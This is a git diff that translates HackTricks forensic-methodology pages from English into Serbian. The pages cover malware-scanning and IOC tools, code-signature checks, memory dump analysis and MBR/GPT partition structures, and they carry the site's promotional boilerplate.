repozitorijuma**](https://github.com/mandiant/capa). -### IOCs +### IOC-ovi -IOC means Indicator Of Compromise. An IOC is a set of **conditions that identify** some potentially unwanted software or confirmed **malware**. Blue Teams use this kind of definition to **search for this kind of malicious files** in their **systems** and **networks**.\ -To share these definitions is very useful as when malware is identified in a computer and an IOC for that malware is created, other Blue Teams can use it to identify the malware faster. +IOC znači Indikator kompromitacije. IOC je skup **uslova koji identifikuju** potencijalno neželjeni softver ili potvrđeni **malver**. Plavi timovi koriste ovu vrstu definicije da **traže ovu vrstu zlonamernih datoteka** u svojim **sistemima** i **mrežama**.\ +Deljenje ovih definicija je veoma korisno jer kada se malver identifikuje na računaru i IOC za taj malver se kreira, drugi Plavi timovi ga mogu koristiti da brže identifikuju malver. -A tool to create or modify IOCs is [**IOC Editor**](https://www.fireeye.com/services/freeware/ioc-editor.html)**.**\ -You can use tools such as [**Redline**](https://www.fireeye.com/services/freeware/redline.html) to **search for defined IOCs in a device**. +Alatka za kreiranje ili modifikaciju IOC-ova je [**IOC Editor**](https://www.fireeye.com/services/freeware/ioc-editor.html)**.**\ +Možete koristiti alatke poput [**Redline**](https://www.fireeye.com/services/freeware/redline.html) da **tražite definisane IOC-ove na uređaju**. ### Loki -[**Loki**](https://github.com/Neo23x0/Loki) is a scanner for Simple Indicators of Compromise.\ -Detection is based on four detection methods: - +[**Loki**](https://github.com/Neo23x0/Loki) je skener za jednostavne indikatore kompromitacije.\ +Detekcija se zasniva na četiri metode detekcije: ``` 1. File Name IOC - Regex match on full file path/name +Regex match on full file path/name 2. Yara Rule Check - Yara signature matches on file data and process memory +Yara signature matches on file data and process memory 3. Hash Check - Compares known malicious hashes (MD5, SHA1, SHA256) with scanned files - -4. C2 Back Connect Check - Compares process connection endpoints with C2 IOCs (new since version v.10) -``` +Compares known malicious hashes (MD5, SHA1, SHA256) with scanned files +4. C2 Back Connect Check +Compares process connection endpoints with C2 IOCs (new since version v.10) +``` ### Linux Malware Detect -[**Linux Malware Detect (LMD)**](https://www.rfxn.com/projects/linux-malware-detect/) is a malware scanner for Linux released under the GNU GPLv2 license, that is designed around the threats faced in shared hosted environments. It uses threat data from network edge intrusion detection systems to extract malware that is actively being used in attacks and generates signatures for detection. In addition, threat data is also derived from user submissions with the LMD checkout feature and malware community resources. +[**Linux Malware Detect (LMD)**](https://www.rfxn.com/projects/linux-malware-detect/) je skener zlonamernog softvera za Linux koji je objavljen pod GNU GPLv2 licencom, a dizajniran je za pretnje sa kojima se susreću u deljenim hosting okruženjima. Koristi podatke o pretnjama sa sistema za otkrivanje upada na mrežnom rubu kako bi izdvojio zlonamerni softver koji se aktivno koristi u napadima i generiše potpise za detekciju. Pored toga, podaci o pretnjama se takođe dobijaju iz korisničkih prijava putem funkcije LMD checkout i resursa zajednice za zlonamerni softver. ### rkhunter -Tools like [**rkhunter**](http://rkhunter.sourceforge.net) can be used to check the filesystem for possible **rootkits** and malware. - +Alati poput [**rkhunter**](http://rkhunter.sourceforge.net) mogu se koristiti za proveru datotečnog sistema radi mogućih **rootkitova** i zlonamernog softvera. ```bash sudo ./rkhunter --check -r / -l /tmp/rkhunter.log [--report-warnings-only] [--skip-keypress] ``` - ### FLOSS -[**FLOSS**](https://github.com/mandiant/flare-floss) is a tool that will try to find obfuscated strings inside executables using different techniques. +[**FLOSS**](https://github.com/mandiant/flare-floss) je alat koji će pokušati da pronađe obfuskirane stringove unutar izvršnih datoteka koristeći različite tehnike. ### PEpper -[PEpper ](https://github.com/Th3Hurrican3/PEpper)checks some basic stuff inside the executable (binary data, entropy, URLs and IPs, some yara rules). +[PEpper](https://github.com/Th3Hurrican3/PEpper) proverava neke osnovne stvari unutar izvršne datoteke (binarni podaci, entropija, URL-ovi i IP adrese, neka pravila yara). ### PEstudio -[PEstudio](https://www.winitor.com/download) is a tool that allows to get information of Windows executables such as imports, exports, headers, but also will check virus total and find potential Att\&ck techniques. +[PEstudio](https://www.winitor.com/download) je alat koji omogućava dobijanje informacija o Windows izvršnim datotekama kao što su uvozi, izvozi, zaglavlja, ali takođe će proveriti virus total i pronaći potencijalne Att\&ck tehnike. ### Detect It Easy(DiE) -[**DiE**](https://github.com/horsicq/Detect-It-Easy/) is a tool to detect if a file is **encrypted** and also find **packers**. +[**DiE**](https://github.com/horsicq/Detect-It-Easy/) je alat za otkrivanje da li je datoteka **šifrovana** i takođe pronalazi **pakere**. ### NeoPI -[**NeoPI** ](https://github.com/CiscoCXSecurity/NeoPI)is a Python script that uses a variety of **statistical methods** to detect **obfuscated** and **encrypted** content within text/script files. The intended purpose of NeoPI is to aid in the **detection of hidden web shell code**. +[**NeoPI**](https://github.com/CiscoCXSecurity/NeoPI) je Python skripta koja koristi razne **statističke metode** za otkrivanje **obfuskiranog** i **šifrovanog** sadržaja unutar tekstualnih/skriptnih datoteka. Namera NeoPI-ja je da pomogne u **otkrivanju skrivenog koda web školjki**. ### **php-malware-finder** -[**PHP-malware-finder**](https://github.com/nbs-system/php-malware-finder) does its very best to detect **obfuscated**/**dodgy code** as well as files using **PHP** functions often used in **malwares**/webshells. +[**PHP-malware-finder**](https://github.com/nbs-system/php-malware-finder) se najbolje trudi da otkrije **obfuskirani**/**sumnjivi kod** kao i datoteke koje koriste **PHP** funkcije često korištene u **malverima**/web školjkama. -### Apple Binary Signatures - -When checking some **malware sample** you should always **check the signature** of the binary as the **developer** that signed it may be already **related** with **malware.** +### Apple binarne potpise +Prilikom provere nekog **uzorka malvera** uvek treba **proveriti potpis** binarne datoteke jer se **razvijač** koji ga je potpisao može već **povezivati** sa **malverom**. ```bash #Get signer codesign -vv -d /bin/ls 2>&1 | grep -E "Authority|TeamIdentifier" @@ -166,31 +254,30 @@ codesign --verify --verbose /Applications/Safari.app #Check if the signature is valid spctl --assess --verbose /Applications/Safari.app ``` +## Tehnike otkrivanja -## Detection Techniques +### Stacking datoteka -### File Stacking +Ako znate da se neki folder koji sadrži **datoteke** veb servera **poslednji put ažurirao na neki datum**, **proverite** datum kada su sve **datoteke** na veb serveru kreirane i izmenjene, i ako je bilo koji datum **sumnjiv**, proverite tu datoteku. -If you know that some folder containing the **files** of a web server was **last updated on some date**. **Check** the **date** all the **files** in the **web server were created and modified** and if any date is **suspicious**, check that file. +### Referentne vrednosti -### Baselines +Ako se **datoteke** u folderu **ne bi trebale menjati**, možete izračunati **heš** **originalnih datoteka** u folderu i **uporediti** ih sa **trenutnim**. Sve što je izmenjeno biće **sumnjivo**. -If the files of a folder **shouldn't have been modified**, you can calculate the **hash** of the **original files** of the folder and **compare** them with the **current** ones. Anything modified will be **suspicious**. +### Statistička analiza -### Statistical Analysis - -When the information is saved in logs you can **check statistics like how many times each file of a web server was accessed as a web shell might be one of the most**. +Kada se informacije čuvaju u logovima, možete **proveriti statistiku kao što je koliko puta je svaka datoteka veb servera pristupana, jer web šel može biti jedan od najčešćih**.
-Learn AWS hacking from zero to hero with htARTE (HackTricks AWS Red Team Expert)! +Naučite hakovanje AWS-a od nule do heroja sa htARTE (HackTricks AWS Red Team Expert)! -Other ways to support HackTricks: +Drugi načini podrške HackTricks-u: -* If you want to see your **company advertised in HackTricks** or **download HackTricks in PDF** Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! -* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) -* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) -* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.** -* **Share your hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos. +* Ako želite da vidite **oglašavanje vaše kompanije na HackTricks-u** ili **preuzmete HackTricks u PDF formatu**, proverite [**PLANOVE ZA PRETPLATU**](https://github.com/sponsors/carlospolop)! +* Nabavite [**zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com) +* Otkrijte [**The PEASS Family**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family) +* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili nas **pratite** na **Twitter-u** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.** +* **Podelite svoje hakovanje trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
diff --git a/forensics/basic-forensic-methodology/memory-dump-analysis/README.md b/forensics/basic-forensic-methodology/memory-dump-analysis/README.md index 831a4438c..0af040ce6 100644 --- a/forensics/basic-forensic-methodology/memory-dump-analysis/README.md +++ b/forensics/basic-forensic-methodology/memory-dump-analysis/README.md @@ -1,53 +1,53 @@ -# Memory dump analysis +# Analiza memorijskog ispusta
-Learn AWS hacking from zero to hero with htARTE (HackTricks AWS Red Team Expert)! +Naučite hakovanje AWS-a od nule do heroja sa htARTE (HackTricks AWS Red Team Expert)! -* Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! -* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) -* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) -* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** -* **Share your hacking tricks by submitting PRs to the [hacktricks repo](https://github.com/carlospolop/hacktricks) and [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**. +* Radite li u **kompaniji za kibernetičku bezbednost**? Želite li da vidite svoju **kompaniju reklamiranu na HackTricks-u**? Ili želite da imate pristup **najnovijoj verziji PEASS-a ili preuzmete HackTricks u PDF formatu**? Proverite [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! +* Otkrijte [**The PEASS Family**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family) +* Nabavite [**zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com) +* **Pridružite se** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili me **pratite** na **Twitter-u** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** +* **Podelite svoje hakovanje trikove slanjem PR-ova na [hacktricks repo](https://github.com/carlospolop/hacktricks) i [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**.
-[**RootedCON**](https://www.rootedcon.com/) is the most relevant cybersecurity event in **Spain** and one of the most important in **Europe**. With **the mission of promoting technical knowledge**, this congress is a boiling meeting point for technology and cybersecurity professionals in every discipline. +[**RootedCON**](https://www.rootedcon.com/) je najrelevantniji kibernetički događaj u **Španiji** i jedan od najvažnijih u **Evropi**. Sa **misijom promovisanja tehničkog znanja**, ovaj kongres je ključno mesto susreta tehnoloških i kibernetičkih profesionalaca u svakoj disciplini. {% embed url="https://www.rootedcon.com/" %} -## Start +## Početak -Start **searching** for **malware** inside the pcap. Use the **tools** mentioned in [**Malware Analysis**](../malware-analysis.md). +Počnite **tražiti** zlonamerni softver unutar pcap-a. Koristite **alate** navedene u [**Analizi zlonamernog softvera**](../malware-analysis.md). ## [Volatility](../../../generic-methodologies-and-resources/basic-forensic-methodology/memory-dump-analysis/volatility-cheatsheet.md) -**Volatility is the main open-source framework for memory dump analysis**. This Python tool analyzes dumps from external sources or VMware VMs, identifying data like processes and passwords based on the dump's OS profile. It's extensible with plugins, making it highly versatile for forensic investigations. +**Volatility je glavni open-source okvir za analizu memorijskog ispusta**. Ovaj Python alat analizira ispuste sa eksternih izvora ili VMware VM-ova, identifikujući podatke kao što su procesi i lozinke na osnovu profila operativnog sistema ispusta. Može se proširiti pomoću dodataka, što ga čini izuzetno fleksibilnim za forenzičke istrage. -**[Find here a cheatsheet](../../../generic-methodologies-and-resources/basic-forensic-methodology/memory-dump-analysis/volatility-cheatsheet.md)** +**[Ovde pronađite cheatsheet](../../../generic-methodologies-and-resources/basic-forensic-methodology/memory-dump-analysis/volatility-cheatsheet.md)** -## Mini dump crash report +## Izveštaj o padu mini ispusta -When the dump is small (just some KB, maybe a few MB) then it's probably a mini dump crash report and not a memory dump. +Kada je ispust mali (samo nekoliko KB, možda nekoliko MB), verovatno je izveštaj o padu mini ispusta, a ne memorijski ispušt. ![](<../../../.gitbook/assets/image (216).png>) -If you have Visual Studio installed, you can open this file and bind some basic information like process name, architecture, exception info and modules being executed: +Ako imate instaliran Visual Studio, možete otvoriti ovaj fajl i dobiti osnovne informacije kao što su naziv procesa, arhitektura, informacije o izuzecima i izvršeni moduli: ![](<../../../.gitbook/assets/image (217).png>) -You can also load the exception and see the decompiled instructions +Takođe možete učitati izuzetak i videti dekompilirane instrukcije ![](<../../../.gitbook/assets/image (219).png>) ![](<../../../.gitbook/assets/image (218) (1).png>) -Anyway, Visual Studio isn't the best tool to perform an analysis of the depth of the dump. +U svakom slučaju, Visual Studio nije najbolji alat za analizu dubine ispusta. -You should **open** it using **IDA** or **Radare** to inspection it in **depth**. +Trebali biste ga **otvoriti** koristeći **IDA** ili **Radare** da biste ga detaljnije pregledali. @@ -55,18 +55,18 @@ You should **open** it using **IDA** or **Radare** to inspection it in **depth**
-[**RootedCON**](https://www.rootedcon.com/) is the most relevant cybersecurity event in **Spain** and one of the most important in **Europe**. With **the mission of promoting technical knowledge**, this congress is a boiling meeting point for technology and cybersecurity professionals in every discipline. +[**RootedCON**](https://www.rootedcon.com/) je najrelevantniji kibernetički događaj u **Španiji** i jedan od najvažnijih u **Evropi**. Sa **misijom promovisanja tehničkog znanja**, ovaj kongres je ključno mesto susreta tehnoloških i kibernetičkih profesionalaca u svakoj disciplini. {% embed url="https://www.rootedcon.com/" %}
-Learn AWS hacking from zero to hero with htARTE (HackTricks AWS Red Team Expert)! +Naučite hakovanje AWS-a od nule do heroja sa htARTE (HackTricks AWS Red Team Expert)! -* Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! -* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) -* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) -* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** -* **Share your hacking tricks by submitting PRs to the [hacktricks repo](https://github.com/carlospolop/hacktricks) and [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**. +* Radite li u **kompaniji za kibernetičku bezbednost**? Želite li da vidite svoju **kompaniju reklamiranu na HackTricks-u**? Ili želite da imate pristup **najnovijoj verziji PEASS-a ili preuzmete HackTricks u PDF formatu**? Proverite [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! +* Otkrijte [**The PEASS Family**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family) +* Nabavite [**zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com) +* **Pridružite se** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili me **pratite** na **Twitter-u** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** +* **Podelite svoje hakovanje trikove slanjem PR-ova na [hacktricks repo](https://github.com/carlospolop/hacktricks) i [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**.
diff --git a/forensics/basic-forensic-methodology/partitions-file-systems-carving/README.md b/forensics/basic-forensic-methodology/partitions-file-systems-carving/README.md index e05337c43..fdcb429c6 100644 --- a/forensics/basic-forensic-methodology/partitions-file-systems-carving/README.md +++ b/forensics/basic-forensic-methodology/partitions-file-systems-carving/README.md @@ -1,161 +1,158 @@ -# Partitions/File Systems/Carving +# Particije/Fajl Sistemi/Izvlačenje -## Partitions/File Systems/Carving +## Particije/Fajl Sistemi/Izvlačenje
-Learn AWS hacking from zero to hero with htARTE (HackTricks AWS Red Team Expert)! +Naučite hakovanje AWS-a od nule do heroja sa htARTE (HackTricks AWS Red Team Expert)! -Other ways to support HackTricks: +Drugi načini podrške HackTricks-u: -* If you want to see your **company advertised in HackTricks** or **download HackTricks in PDF** Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! -* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) -* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) -* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.** -* **Share your hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos. +* Ako želite da vidite **vašu kompaniju reklamiranu na HackTricks-u** ili **preuzmete HackTricks u PDF formatu** Pogledajte [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! +* Nabavite [**zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com) +* Otkrijte [**The PEASS Family**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family) +* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili nas **pratite** na **Twitter-u** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.** +* **Podelite svoje hakovanje trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
-## Partitions +## Particije -A hard drive or an **SSD disk can contain different partitions** with the goal of separating data physically.\ -The **minimum** unit of a disk is the **sector** (normally composed of 512B). So, each partition size needs to be multiple of that size. +Hard disk ili **SSD disk mogu sadržati različite particije** sa ciljem fizičkog razdvajanja podataka.\ +**Minimalna** jedinica diska je **sektor** (obično sastavljen od 512B). Dakle, veličina svake particije mora biti višekratnik te veličine. ### MBR (master Boot Record) -It's allocated in the **first sector of the disk after the 446B of the boot code**. This sector is essential to indicate to the PC what and from where a partition should be mounted.\ -It allows up to **4 partitions** (at most **just 1** can be active/**bootable**). However, if you need more partitions you can use **extended partitions**. The **final byte** of this first sector is the boot record signature **0x55AA**. Only one partition can be marked as active.\ -MBR allows **max 2.2TB**. +Nalazi se u **prvom sektoru diska nakon 446B boot koda**. Ovaj sektor je bitan da bi se računaru pokazalo šta i odakle treba da se montira particija.\ +Dozvoljava do **4 particije** (najviše **samo 1** može biti aktivna/pokretljiva). Međutim, ako vam je potrebno više particija, možete koristiti **proširene particije**. Poslednji bajt ovog prvog sektora je potpis boot zapisa **0x55AA**. Samo jedna particija može biti označena kao aktivna.\ +MBR dozvoljava **maksimalno 2.2TB**. ![](<../../../.gitbook/assets/image (489).png>) ![](<../../../.gitbook/assets/image (490).png>) -From the **bytes 440 to the 443** of the MBR you can find the **Windows Disk Signature** (if Windows is used). The logical drive letter of the hard disk depends on the Windows Disk Signature. Changing this signature could prevent Windows from booting (tool: [**Active Disk Editor**](https://www.disk-editor.org/index.html)**)**. +Od **bajta 440 do 443** MBR-a možete pronaći **Windows Disk Signature** (ako se koristi Windows). Logičko slovo pogona tvrdog diska zavisi od Windows Disk Signature. Promena ovog potpisa može sprečiti pokretanje Windows-a (alat: [**Active Disk Editor**](https://www.disk-editor.org/index.html)**)**. ![](<../../../.gitbook/assets/image (493).png>) **Format** -| Offset | Length | Item | -| ----------- | ---------- | ------------------- | -| 0 (0x00) | 446(0x1BE) | Boot code | -| 446 (0x1BE) | 16 (0x10) | First Partition | -| 462 (0x1CE) | 16 (0x10) | Second Partition | -| 478 (0x1DE) | 16 (0x10) | Third Partition | -| 494 (0x1EE) | 16 (0x10) | Fourth Partition | -| 510 (0x1FE) | 2 (0x2) | Signature 0x55 0xAA | +| Offset | Dužina | Stavka | +| ----------- | ---------- | -------------------- | +| 0 (0x00) | 446(0x1BE) | Boot kod | +| 446 (0x1BE) | 16 (0x10) | Prva particija | +| 462 (0x1CE) | 16 (0x10) | Druga particija | +| 478 (0x1DE) | 16 (0x10) | Treća particija | +| 494 (0x1EE) | 16 (0x10) | Četvrta particija | +| 510 (0x1FE) | 2 (0x2) | Potpis 0x55 0xAA | -**Partition Record Format** +**Format Zapisa Particije** -| Offset | Length | Item | -| --------- | -------- | ------------------------------------------------------ | -| 0 (0x00) | 1 (0x01) | Active flag (0x80 = bootable) | -| 1 (0x01) | 1 (0x01) | Start head | -| 2 (0x02) | 1 (0x01) | Start sector (bits 0-5); upper bits of cylinder (6- 7) | -| 3 (0x03) | 1 (0x01) | Start cylinder lowest 8 bits | -| 4 (0x04) | 1 (0x01) | Partition type code (0x83 = Linux) | -| 5 (0x05) | 1 (0x01) | End head | -| 6 (0x06) | 1 (0x01) | End sector (bits 0-5); upper bits of cylinder (6- 7) | -| 7 (0x07) | 1 (0x01) | End cylinder lowest 8 bits | -| 8 (0x08) | 4 (0x04) | Sectors preceding partition (little endian) | -| 12 (0x0C) | 4 (0x04) | Sectors in partition | +| Offset | Dužina | Stavka | +| --------- | -------- | ---------------------------------------------------------- | +| 0 (0x00) | 1 (0x01) | Aktivna oznaka (0x80 = pokretljiva) | +| 1 (0x01) | 1 (0x01) | Početna glava | +| 2 (0x02) | 1 (0x01) | Početni sektor (bitovi 0-5); gornji bitovi cilindra (6- 7) | +| 3 (0x03) | 1 (0x01) | Najnižih 8 bitova početnog cilindra | +| 4 (0x04) | 1 (0x01) | Kod tipa particije (0x83 = Linux) | +| 5 (0x05) | 1 (0x01) | Krajnja glava | +| 6 (0x06) | 1 (0x01) | Krajnji sektor (bitovi 0-5); gornji bitovi cilindra (6- 7) | +| 7 (0x07) | 1 (0x01) | Najnižih 8 bitova krajnjeg cilindra | +| 8 (0x08) | 4 (0x04) | Sektori pre particije (little endian) | +| 12 (0x0C) | 4 (0x04) | Sektori u particiji | -In order to mount an MBR in Linux you first need to get the start offset (you can use `fdisk` and the `p` command) +Da biste montirali MBR u Linux-u, prvo morate dobiti početni offset (možete koristiti `fdisk` i komandu `p`) -![](<../../../.gitbook/assets/image (413) (3) (3) (3) (2) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (12).png>) - -And then use the following code +![](<../../../.gitbook/assets/image (413) (3) (3) (3) (2) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (12).png>) +A zatim koristite sledeći kod ```bash #Mount MBR in Linux mount -o ro,loop,offset= #63x512 = 32256Bytes mount -o ro,loop,offset=32256,noatime /path/to/image.dd /media/part/ ``` +**LBA (Logičko blokiranje)** -**LBA (Logical block addressing)** +**Logičko blokiranje** (**LBA**) je uobičajena šema koja se koristi za **određivanje lokacije blokova** podataka koji se čuvaju na računarskim skladištima, uglavnom sekundarnim skladišnim sistemima kao što su hard diskovi. LBA je posebno jednostavna linearna šema adresiranja; **blokovi se lociraju pomoću celobrojnog indeksa**, pri čemu je prvi blok LBA 0, drugi LBA 1, i tako dalje. -**Logical block addressing** (**LBA**) is a common scheme used for **specifying the location of blocks** of data stored on computer storage devices, generally secondary storage systems such as hard disk drives. LBA is a particularly simple linear addressing scheme; **blocks are located by an integer index**, with the first block being LBA 0, the second LBA 1, and so on. +### GPT (GUID tabela particija) -### GPT (GUID Partition Table) +GUID tabela particija, poznata kao GPT, ima prednost u odnosu na MBR (Master Boot Record) zbog svojih unapređenih mogućnosti. GPT se ističe na nekoliko načina: -The GUID Partition Table, known as GPT, is favored for its enhanced capabilities compared to MBR (Master Boot Record). Distinctive for its **globally unique identifier** for partitions, GPT stands out in several ways: +- **Lokacija i veličina**: I GPT i MBR počinju od **sektora 0**. Međutim, GPT radi sa **64 bita**, za razliku od MBR-a koji radi sa 32 bita. +- **Ograničenja particija**: GPT podržava do **128 particija** na Windows sistemima i može da primi do **9,4ZB** podataka. +- **Nazivi particija**: Omogućava nazivanje particija sa do 36 Unicode karaktera. -- **Location and Size**: Both GPT and MBR start at **sector 0**. However, GPT operates on **64bits**, contrasting with MBR's 32bits. -- **Partition Limits**: GPT supports up to **128 partitions** on Windows systems and accommodates up to **9.4ZB** of data. -- **Partition Names**: Offers the ability to name partitions with up to 36 Unicode characters. +**Otpornost i oporavak podataka**: -**Data Resilience and Recovery**: +- **Redundantnost**: Za razliku od MBR-a, GPT ne ograničava particionisanje i podatke o pokretanju na jednom mestu. On replikuje ove podatke na celom disku, poboljšavajući integritet i otpornost podataka. +- **Ciklična redundancijska provjera (CRC)**: GPT koristi CRC za osiguravanje integriteta podataka. Aktivno nadgleda korupciju podataka i, kada je otkrivena, GPT pokušava da oporavi oštećene podatke sa druge lokacije na disku. -- **Redundancy**: Unlike MBR, GPT doesn't confine partitioning and boot data to a single place. It replicates this data across the disk, enhancing data integrity and resilience. -- **Cyclic Redundancy Check (CRC)**: GPT employs CRC to ensure data integrity. It actively monitors for data corruption, and when detected, GPT attempts to recover the corrupted data from another disk location. +**Zaštitni MBR (LBA0)**: -**Protective MBR (LBA0)**: - -- GPT maintains backward compatibility through a protective MBR. This feature resides in the legacy MBR space but is designed to prevent older MBR-based utilities from mistakenly overwriting GPT disks, hence safeguarding the data integrity on GPT-formatted disks. +- GPT održava kompatibilnost unazad putem zaštitnog MBR-a. Ova funkcija se nalazi u prostoru za nasleđeni MBR, ali je dizajnirana da spreči starije MBR bazirane alate da greškom prepišu GPT diskove, čime se čuva integritet podataka na GPT formatiranim diskovima. ![https://upload.wikimedia.org/wikipedia/commons/thumb/0/07/GUID_Partition_Table_Scheme.svg/800px-GUID_Partition_Table_Scheme.svg.png](<../../../.gitbook/assets/image (491).png>) -**Hybrid MBR (LBA 0 + GPT)** +**Hibridni MBR (LBA 0 + GPT)** -[From Wikipedia](https://en.wikipedia.org/wiki/GUID_Partition_Table) +[Prema Vikipediji](https://en.wikipedia.org/wiki/GUID_Partition_Table) -In operating systems that support **GPT-based boot through BIOS** services rather than EFI, the first sector may also still be used to store the first stage of the **bootloader** code, but **modified** to recognize **GPT** **partitions**. The bootloader in the MBR must not assume a sector size of 512 bytes. +U operativnim sistemima koji podržavaju **GPT bazirano pokretanje putem BIOS** usluga umesto EFI, prvi sektor se može koristiti za skladištenje prvog koraka koda **bootloadera**, ali **izmenjenog** da prepozna **GPT particije**. Bootloader u MBR-u ne sme pretpostavljati veličinu sektora od 512 bajtova. -**Partition table header (LBA 1)** +**Zaglavlje tabele particija (LBA 1)** -[From Wikipedia](https://en.wikipedia.org/wiki/GUID_Partition_Table) +[Prema Vikipediji](https://en.wikipedia.org/wiki/GUID_Partition_Table) -The partition table header defines the usable blocks on the disk. It also defines the number and size of the partition entries that make up the partition table (offsets 80 and 84 in the table). +Zaglavlje tabele particija definiše upotrebljive blokove na disku. Takođe definiše broj i veličinu unosa particija koji čine tabelu particija (offseti 80 i 84 u tabeli). -| Offset | Length | Contents | +| Offset | Dužina | Sadržaj | | --------- | -------- | ------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | -| 0 (0x00) | 8 bytes | Signature ("EFI PART", 45h 46h 49h 20h 50h 41h 52h 54h or 0x5452415020494645ULL[ ](https://en.wikipedia.org/wiki/GUID\_Partition\_Table#cite\_note-8)on little-endian machines) | -| 8 (0x08) | 4 bytes | Revision 1.0 (00h 00h 01h 00h) for UEFI 2.8 | -| 12 (0x0C) | 4 bytes | Header size in little endian (in bytes, usually 5Ch 00h 00h 00h or 92 bytes) | -| 16 (0x10) | 4 bytes | [CRC32](https://en.wikipedia.org/wiki/CRC32) of header (offset +0 up to header size) in little endian, with this field zeroed during calculation | -| 20 (0x14) | 4 bytes | Reserved; must be zero | -| 24 (0x18) | 8 bytes | Current LBA (location of this header copy) | -| 32 (0x20) | 8 bytes | Backup LBA (location of the other header copy) | -| 40 (0x28) | 8 bytes | First usable LBA for partitions (primary partition table last LBA + 1) | -| 48 (0x30) | 8 bytes | Last usable LBA (secondary partition table first LBA − 1) | -| 56 (0x38) | 16 bytes | Disk GUID in mixed endian | -| 72 (0x48) | 8 bytes | Starting LBA of an array of partition entries (always 2 in primary copy) | -| 80 (0x50) | 4 bytes | Number of partition entries in array | -| 84 (0x54) | 4 bytes | Size of a single partition entry (usually 80h or 128) | -| 88 (0x58) | 4 bytes | CRC32 of partition entries array in little endian | -| 92 (0x5C) | \* 